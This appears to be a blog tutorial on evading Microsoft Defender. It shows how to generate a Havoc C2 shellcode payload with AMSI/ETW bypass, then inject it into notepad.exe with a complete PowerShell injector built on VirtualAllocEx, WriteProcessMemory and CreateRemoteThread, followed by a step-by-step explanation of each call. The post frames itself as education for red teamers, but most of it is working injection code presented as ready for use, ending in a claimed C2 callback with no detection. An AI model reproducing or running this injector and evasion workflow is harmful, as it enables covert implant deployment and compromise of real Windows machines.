Set up Listener

Why This Is Important

As cybersecurity students, researchers, or red teamers, understanding how payloads bypass modern antivirus solutions is critical for both offensive and defensive strategies. Microsoft Defender (formerly Windows Defender) is the default AV on Windows systems and is considered one of the most improved security products in recent years.

Learning how shellcode and in-memory injection techniques evade detection helps us stay ahead of adversaries, understand EDR blind spots, and ultimately secure systems better.

This post demonstrates how to:

  • Generate a Havoc shellcode payload
  • Inject it using PowerShell
  • Observe how it bypasses Windows Defender in a default environment

Steps

1. Set up a Listener in Havoc

Before we can interact with a compromised system, create a listener in Havoc.

No Detection


2. Create the Payload

In Havoc, go to the Payloads tab and generate a payload with:

  • Format: Windows Shellcode
  • Architecture: x64
  • Sleep/Jitter: As needed for evasion
  • Injection: Native/syscall, spawn64, etc.
  • AMSI/ETW bypass: Enabled

Click Generate to build the shellcode.

No Detection


3. Transfer the Shellcode to the Target Machine

Copy the generated .bin file (e.g., demon.x64.bin) to your Windows VM target.

No Detection


4. Verify Defender is Enabled

On the target machine, confirm:

  • Real-time protection is ON
  • No exclusion folders configured

Even then, the shellcode placed in C:\Users\lab\Downloads goes undetected.

No Detection

No Detection


5. Create a PowerShell Injector

Save this script as injector.ps1 to inject shellcode into notepad.exe:


# Path to your shellcode file
$shellcodePath = "C:\Users\lab\Downloads\demon.x64.bin"

# Read shellcode bytes
$shellcode = [System.IO.File]::ReadAllBytes($shellcodePath)

# Start 64-bit notepad process
$proc = Start-Process -FilePath "C:\Windows\System32\notepad.exe" -PassThru

# Define Win32 API calls
Add-Type @"
using System;
using System.Runtime.InteropServices;

public class Win32 {
    [Flags]
    public enum ProcessAccessFlags : uint {
        All = 0x001F0FFF,
        CreateThread = 0x0002,
        VirtualMemoryOperation = 0x0008,
        VirtualMemoryWrite = 0x0020,
        VirtualMemoryRead = 0x0010,
        QueryInformation = 0x0400,
        SuspendResume = 0x0800
    }

    [Flags]
    public enum AllocationType : uint {
        Commit = 0x1000,
        Reserve = 0x2000
    }

    [Flags]
    public enum MemoryProtection : uint {
        ExecuteReadWrite = 0x40
    }

    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId);

    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

    [DllImport("kernel32.dll")]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, uint size, out UIntPtr lpNumberOfBytesWritten);

    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
}
"@

# Open the target process with full access
$processHandle = [Win32]::OpenProcess([Win32+ProcessAccessFlags]::All, $false, $proc.Id)

# Allocate memory in the target process
$allocatedMemory = [Win32]::VirtualAllocEx($processHandle, [IntPtr]::Zero, $shellcode.Length, [Win32+AllocationType]::Commit -bor [Win32+AllocationType]::Reserve, [Win32+MemoryProtection]::ExecuteReadWrite)

# Write shellcode into the allocated memory
$outSize = [UIntPtr]::Zero
$result = [Win32]::WriteProcessMemory($processHandle, $allocatedMemory, $shellcode, [uint32]$shellcode.Length, [ref]$outSize)

if (-not $result) {
    Write-Error "Failed to write shellcode into process memory"
    exit 1
}

# Create remote thread to execute shellcode
$threadId = 0
$remoteThread = [Win32]::CreateRemoteThread($processHandle, [IntPtr]::Zero, 0, $allocatedMemory, [IntPtr]::Zero, 0, [ref]$threadId)

if ($remoteThread -eq [IntPtr]::Zero) {
    Write-Error "Failed to create remote thread"
    exit 1
}

Write-Host "Shellcode injected successfully! Process ID: $($proc.Id), Thread ID: $threadId"

  

6. Run the Injector

Run the PowerShell script. If all goes well:

  • No Defender alerts

  • No detection

  • Havoc should show a callback from the target machine

No Detection


Shellcode Injection with PowerShell What’s Going On?

This script performs process injection by loading shellcode into a trusted process (notepad.exe) to evade detection.

It’s a common technique in post-exploitation, malware, and red teaming.

Step-by-Step Breakdown

Step 1: Load the Shellcode

$shellcodePath = "C:\Users\lab\Downloads\demon.x64.bin"
$shellcode = [System.IO.File]::ReadAllBytes($shellcodePath)


Step 2: Spawn a Target Process

$proc = Start-Process -FilePath "C:\Windows\System32\notepad.exe" -PassThru

We start notepad.exe and keep a reference to it. Why Notepad? It’s 64-bit (matching the shellcode), always available, and pretty harmless-looking. Perfect cover.


Step 3: Load the Native Win32 API

This big block here is C# code embedded in PowerShell. Using Add-Type, we define all the low-level Win32 functions we’ll need:

  • OpenProcess: to get access to Notepad’s memory

  • VirtualAllocEx: to allocate memory inside Notepad

  • WriteProcessMemory: to copy our shellcode into it

  • CreateRemoteThread: to run it

Think of it as giving PowerShell the tools to mess with another process at the OS level.


Step 4: Gain Access to Notepad’s Memory

$processHandle = [Win32]::OpenProcess([Win32+ProcessAccessFlags]::All, $false, $proc.Id)

  • Opens a handle to the notepad process with full access rights.

  • Access rights include the ability to read/write memory, create threads, etc.

Source: OpenProcess function - Microsoft Docs


Step 5: Allocate Memory in Notepad

$allocatedMemory = [Win32]::VirtualAllocEx(..., [Win32+MemoryProtection]::ExecuteReadWrite)

  • Allocates memory in the remote process (notepad).

  • Flags used:

    • Commit | Reserve: Allocate and commit memory

    • ExecuteReadWrite: Allow execution of code from this memory

Source: VirtualAllocEx function


Step 6: Write the Shellcode

$result = [Win32]::WriteProcessMemory($processHandle, $allocatedMemory, $shellcode, ...)

  • Writes the raw shellcode into the allocated memory of the target process.

Source: WriteProcessMemory function



Step 7: Execute the Shellcode

$remoteThread = [Win32]::CreateRemoteThread($processHandle, ..., $allocatedMemory, ...)

  • Starts a new thread inside notepad.exe, with the start address pointing to your shellcode.

  • This is the moment the shellcode begins executing.

Source: CreateRemoteThread function


Step 8: Confirmation

Write-Host "Shellcode injected successfully!"

If you see this message congrats, you just injected and executed arbitrary code in another process using nothing but PowerShell and some native Windows APIs.